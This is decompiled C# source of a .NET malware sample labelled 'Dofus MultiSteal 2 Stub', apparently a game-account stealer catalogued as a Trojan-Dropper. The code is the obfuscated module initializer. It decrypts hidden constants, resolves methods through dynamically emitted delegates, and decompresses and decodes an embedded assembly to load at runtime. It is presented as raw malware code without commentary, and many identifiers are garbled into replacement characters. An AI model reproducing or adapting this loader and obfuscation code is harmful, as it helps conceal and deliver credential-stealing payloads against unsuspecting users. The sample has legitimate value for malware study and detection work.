// Decompiled with JetBrains decompiler // Type: // Assembly: Dofus MultiSteal 2 Stub, Version=2.4.7.1, Culture=neutral, PublicKeyToken=null // MVID: FB10EBBA-F12D-4A39-9029-698DA5104FC7 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.auty-fb61e5bf162b1ba51f1a122ca70c0a312ccdac7776ef8695adbfb94fbd2522c9.exe using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.IO.Compression; using System.Reflection; using System.Reflection.Emit; using System.Text; internal class \u003CModule\u003E { static \u003CModule\u003E() { \u27DB礡\u2729ꏯ隨䫖\uFFFD킎.膒\uF296\u2595ꗫ燞\uFFDDﹱ蔙(); AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u003CModule\u003E.\u0003\uFFFD\uFFFD\uFFFD\u0027Q\uFFFDN\uFFFD\uFFFD\uFFFDN\uFFFD\uFFFD\u001A\uFFFD); \u192E\uF515ᯬ\uFFFD\u3347䡯運ப.阛苕头\u2100䦀簴Ṽ芹(); } internal static object G\u007Dzi\u0009\uFFFD\uFFFDi\u0020\u0009\uFFFD\uFFFD\u0002\u002E\uFFFD\u007C( uint id) { if (!(AppDomain.CurrentDomain.GetData("��G7z���],���\u001A�") is Dictionary dictionary)) { AppDomain.CurrentDomain.SetData("��G7z���],���\u001A�", (object) (dictionary = new Dictionary())); MemoryStream memoryStream = new MemoryStream(); using (DeflateStream deflateStream = new DeflateStream(Assembly.GetCallingAssembly().GetManifestResourceStream("��G7z���],���\u001A�"), CompressionMode.Decompress)) { byte[] buffer = new byte[4096]; int count = deflateStream.Read(buffer, 0, 4096); do { memoryStream.Write(buffer, 0, count); count = deflateStream.Read(buffer, 0, 4096); } while (count != 0); } AppDomain.CurrentDomain.SetData("~���m9��e��YWT�", (object) memoryStream.ToArray()); } uint num1 = 210013081U ^ (uint) new StackFrame(1).GetMethod().MetadataToken; uint num2 = 1313548208; uint num3 = 2037355434; for (uint index = 1; index <= 64U; ++index) { num1 = (uint) (((int) num1 & 16777215) << 8) | (num1 & 4278190080U) >> 24; uint num4 = (num1 & (uint) byte.MaxValue) % 64U; if (num4 >= 0U && num4 < 16U) { num2 |= (uint) ((int) ((num1 & 65280U) >> 8) & (int) ((num1 & 16711680U) >> 16) ^ ~(int) num1 & (int) byte.MaxValue); num3 ^= (uint) ((int) num1 * (int) index + 1) % 16U; num1 += (uint) (((int) num2 | (int) num3) ^ 2006291989); } else if (num4 >= 16U && num4 < 32U) { num2 ^= (uint) (((int) num1 & 16711935) << 8 ^ ((int) ((num1 & 16776960U) >> 8) | ~(int) num1 & (int) ushort.MaxValue)); num3 += num1 * index % 32U; num1 |= (uint) ((int) num2 + ~(int) num3 & 2006291989); } else if (num4 >= 32U && num4 < 48U) { num2 += (uint) (((int) num1 & (int) byte.MaxValue | (int) ((num1 & 16711680U) >> 16)) + (~(int) num1 & (int) byte.MaxValue)); num3 -= (uint) ~((int) num1 + (int) num4) % 48U; num1 ^= num2 % num3 | 2006291989U; } else if (num4 >= 48U && num4 < 64U) { num2 ^= (uint) (((int) ((num1 & 16711680U) >> 16) | ~((int) num1 & (int) byte.MaxValue)) * (~(int) num1 & 16711680)); num3 += (num1 ^ index - 1U) % num4; num1 -= (uint) (~((int) num2 ^ (int) num3) + 2006291989); } } uint num5 = num1 ^ id; object obj; if (!dictionary.TryGetValue(num5, out obj)) { using (BinaryReader binaryReader = new BinaryReader((Stream) new MemoryStream((byte[]) AppDomain.CurrentDomain.GetData("~���m9��e��YWT�")))) { binaryReader.BaseStream.Seek((long) num5, SeekOrigin.Begin); byte num6 = binaryReader.ReadByte(); byte[] bytes = binaryReader.ReadBytes(binaryReader.ReadInt32()); Random random = new Random(2006291989 ^ (int) num5); byte[] numArray = new byte[bytes.Length]; random.NextBytes(numArray); BitArray bitArray = new BitArray(bytes); bitArray.Xor(new BitArray(numArray)); bitArray.CopyTo((Array) bytes, 0); switch (num6) { case 36: obj = (object) BitConverter.ToSingle(bytes, 0); break; case 54: obj = (object) Encoding.UTF8.GetString(bytes); break; case 85: obj = (object) BitConverter.ToInt32(bytes, 0); break; case 93: obj = (object) BitConverter.ToDouble(bytes, 0); break; case 129: obj = (object) BitConverter.ToInt64(bytes, 0); break; } dictionary[num5] = obj; } } return obj; } internal static void \u2A14쒗ൾ甒ᵾⲘṀ贈(RuntimeFieldHandle f) { FieldInfo fieldFromHandle = FieldInfo.GetFieldFromHandle(f); Assembly executingAssembly = Assembly.GetExecutingAssembly(); char[] chArray = new char[fieldFromHandle.Name.Length]; for (int index = 0; index < chArray.Length; index++) chArray[index] = (char) ((int) (byte) fieldFromHandle.Name[index] ^ index); ConstructorInfo con = executingAssembly.GetModules()[0].ResolveMethod(BitConverter.ToInt32(Convert.FromBase64String(new string(chArray)), 0) ^ 1762333708) as ConstructorInfo; ParameterInfo[] parameters = con.GetParameters(); Type[] parameterTypes = new Type[parameters.Length]; for (int index = 0; index < parameters.Length; index++) parameterTypes[index] = parameters[index].ParameterType; DynamicMethod dynamicMethod = new DynamicMethod("", con.DeclaringType, parameterTypes, con.DeclaringType, true); ILGenerator ilGenerator = dynamicMethod.GetILGenerator(); for (int index = 0; index < parameterTypes.Length; index++) ilGenerator.Emit(OpCodes.Ldarg_S, index); ilGenerator.Emit(OpCodes.Newobj, con); ilGenerator.Emit(OpCodes.Ret); fieldFromHandle.SetValue((object) null, (object) dynamicMethod.CreateDelegate(fieldFromHandle.FieldType)); } internal static void 鶨Ⴋ糌專埈ᚳẏ嫞(RuntimeFieldHandle f) { FieldInfo fieldFromHandle = FieldInfo.GetFieldFromHandle(f); Assembly executingAssembly = Assembly.GetExecutingAssembly(); char[] chArray = new char[fieldFromHandle.Name.Length]; for (int index = 0; index < chArray.Length; ++index) chArray[index] = (char) ((int) (byte) fieldFromHandle.Name[index] ^ index); byte[] numArray = Convert.FromBase64String(new string(chArray)); MethodInfo methodInfo = executingAssembly.GetModules()[0].ResolveMethod(BitConverter.ToInt32(numArray, 1) ^ 78618627) as MethodInfo; if (methodInfo.IsStatic) { fieldFromHandle.SetValue((object) null, (object) Delegate.CreateDelegate(fieldFromHandle.FieldType, methodInfo)); } else { ParameterInfo[] parameters = methodInfo.GetParameters(); Type[] parameterTypes = new Type[parameters.Length + 1]; parameterTypes[0] = typeof (object); for (int index = 0; index < parameters.Length; ++index) parameterTypes[index + 1] = parameters[index].ParameterType; DynamicMethod dynamicMethod = !methodInfo.DeclaringType.IsInterface ? new DynamicMethod("", methodInfo.ReturnType, parameterTypes, methodInfo.DeclaringType, true) : new DynamicMethod("", methodInfo.ReturnType, parameterTypes, (Type) null, true); ILGenerator ilGenerator = dynamicMethod.GetILGenerator(); for (int index = 0; index < parameterTypes.Length; ++index) { ilGenerator.Emit(OpCodes.Ldarg, index); if (index == 0) ilGenerator.Emit(OpCodes.Castclass, methodInfo.DeclaringType); } ilGenerator.Emit(numArray[0] == (byte) 13 ? OpCodes.Callvirt : OpCodes.Call, methodInfo); ilGenerator.Emit(OpCodes.Ret); fieldFromHandle.SetValue((object) null, (object) dynamicMethod.CreateDelegate(fieldFromHandle.FieldType)); } } internal static Assembly \u0003\uFFFD\uFFFD\uFFFD\u0027Q\uFFFDN\uFFFD\uFFFD\uFFFDN\uFFFD\uFFFD\u001A\uFFFD( object sender, ResolveEventArgs args) { if (!(AppDomain.CurrentDomain.GetData("NGS9\u0016��J��\u0010�1\u001Cr�") is Assembly data)) { using (BinaryReader binaryReader1 = new BinaryReader((Stream) new DeflateStream(typeof (\u003CModule\u003E).Assembly.GetManifestResourceStream("NGS9\u0016��J��\u0010�1\u001Cr�"), CompressionMode.Decompress))) { byte[] numArray = binaryReader1.ReadBytes(binaryReader1.ReadInt32()); byte[] buffer = new byte[numArray.Length / 2]; for (int index = 0; index < numArray.Length; index += 2) buffer[index / 2] = (byte) (((int) numArray[index + 1] ^ 33) * 33 + ((int) numArray[index] ^ 33)); using (BinaryReader binaryReader2 = new BinaryReader((Stream) new DeflateStream((Stream) new MemoryStream(buffer), CompressionMode.Decompress))) { data = Assembly.Load(binaryReader2.ReadBytes(binaryReader2.ReadInt32())); AppDomain.CurrentDomain.SetData("NGS9\u0016��J��\u0010�1\u001Cr�", (object) data); } } } return Array.IndexOf(data.GetManifestResourceNames(), args.Name) == -1 ? (Assembly) null : data; } }